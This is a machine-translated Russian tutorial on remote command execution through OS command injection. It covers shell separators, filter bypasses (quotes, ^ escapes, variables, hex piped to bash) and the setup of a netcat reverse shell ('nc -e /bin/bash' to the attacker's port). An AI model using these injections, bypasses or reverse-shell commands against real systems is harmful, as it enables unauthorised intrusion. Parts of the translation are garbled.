Уязвимость удаленного выполнения кода/команды называется RCE, а ее полное название — удаленное выполнение команды/кода.
Уязвимость удаленного выполнения команд
1. понять
Внедрение команд в операционную систему, называемое внедрением команд, представляет собой тип уязвимости, связанной с внедрением. В программном обеспечении, в связи с потребностями бизнеса, будут выполняться некоторые операции выполнения команд, такие как операции ping. В результате есть вероятность уязвимостей удаленного выполнения команд. Злоумышленники могут добавлять дополнительные вредоносные инструкции к исходным операциям выполнения команд операционной системы. То есть вживление вредоносных инструкций в оболочку.
В операционной системе Windows выполнение команды — cmd. В операционной системе Linux выполнение команд консольное.
2. Подробное объяснение
Анализ причин :
Для выполнения некоторых специальных функций прикладной программы требуется командная функция системы. Если в процессе разработки программного обеспечения отсутствуют или очень ограничены входные ограничения для командных функций, то злонамеренная инъекция в операционную систему может быть достигнута путем контроля входного содержимого, образуя лазейку.
Первоначальная попытка :
Обычно это проверяется путем ввода определенных ключевых слов команды или специальных символов.
Средства выполнения атак удаленных команд :
- cmd1; cmd2
(Если нет ограничений на ввод командных ключевых слов или специальных символов)
Разделите две командные инструкции точкой с запятой.
В операционной системе Linux вторая команда будет выполнена после выполнения первой команды. В операционной системе Windows функция точки с запятой недействительна.
Из этого можно сделать вывод, что представляет собой операционная система цели, которую необходимо атаковать.
- cmd1&cmd2
& является фоновым оператором, он сначала выполнит команду 1, а затем переведет команду 1 в фоновый режим, независимо от того, выполняется ли команда 1 или нет, будет выполнена команда 2.
Другими словами, после использования & команда 1 может быть введена небрежно, потому что команда 2 будет выполнена, если команда 2 является требуемой командой.
- cmd1||cmd2
|| является оператором ИЛИ, сначала выполните команду 1, а затем выполните команду 2.
Если 1 удается, 2 не выполняется. Если 1 не получается, делай 2.
- cmd1|cmd2
| Результат предыдущей команды используется как параметр следующей команды.
- cmd1&&cmd2
&& является оператором AND, сначала выполняется 1, затем выполняется 2, но выполняется только 2, если 1 выполняется успешно.
Операторы просто комбинируют наши команды для создания вредоносных эффектов, а основным содержанием является сама команда.
Предотвращение уязвимостей удаленных команд:
Фильтровать ключевые символы для предотвращения
Предотвратите и обработайте, ограничив содержимое, введенное пользователем, и не запуская ключевое содержимое.
Обход правил фильтрации :
Существуют общие обходные пути для систем с ограниченным вводом.
1. Добавьте кавычки
Например: команда whoami получит имя системного администратора, но не сможет войти
Вы можете добавить кавычки к тому, кто я, чтобы обойти ограничение ввода
2. Добавьте символ ^
^ — это escape-символ, который преобразует символ в исходный символ, что может разрушить форму ключевого слова.
Например: команда echo ограничена, вы можете использовать e^cho, после экранирования это все еще эхо, но
Это ограничит ввод, чтобы обнаружить только четыре символа эха, echo!=e^cho, потому что e^cho будет рассматриваться как пять символов, поэтому ограничение ввода можно обойти.
3. Установите переменные
Введите set a=whoami, (= без пробелов с обеих сторон), измените a на whoami
Затем введите cmd /c %a%, чтобы получить имя администратора.
4. Используйте точки с запятой вместо пробелов
Но точки с запятой вместо пробелов можно использовать только в системе Windows. В системе Linux точка с запятой используется для разделения двух командных инструкций. Linux обычно использует одинарные кавычки '' или косую черту \ для обхода.
5. Текст в шестнадцатеричном формате
Командная инструкция может быть преобразована в шестнадцатеричный формат вместо выполнения.
Например, преобразовать эхо ааа в шестнадцатеричное
В командной строке Linux вы можете ввести шестнадцатеричные числа echo/xxd -r -p|bash
Его можно преобразовать в исходную командную инструкцию, а фильтр можно обойти.
После того, как атака может быть выполнена, о пробитии :
1. Подключите целевой компьютер к номеру порта вашего собственного компьютера.
В системе Linux прослушайте номер порта в собственном окне командной строки.
nc -lvnp 8081 слушать на 8081
Укажите, где возможна инъекция из командной строки
cmd1&nc -e /bin/bash целевой IP-адрес 8081
Вы можете запросить целевой компьютер в окне командной строки вашего компьютера.
Например: при вводе whoami отобразится имя администратора целевого компьютера.
Но в докере (другом сервере Linux) вы не можете использовать nc -e, вы можете использовать команду bash -i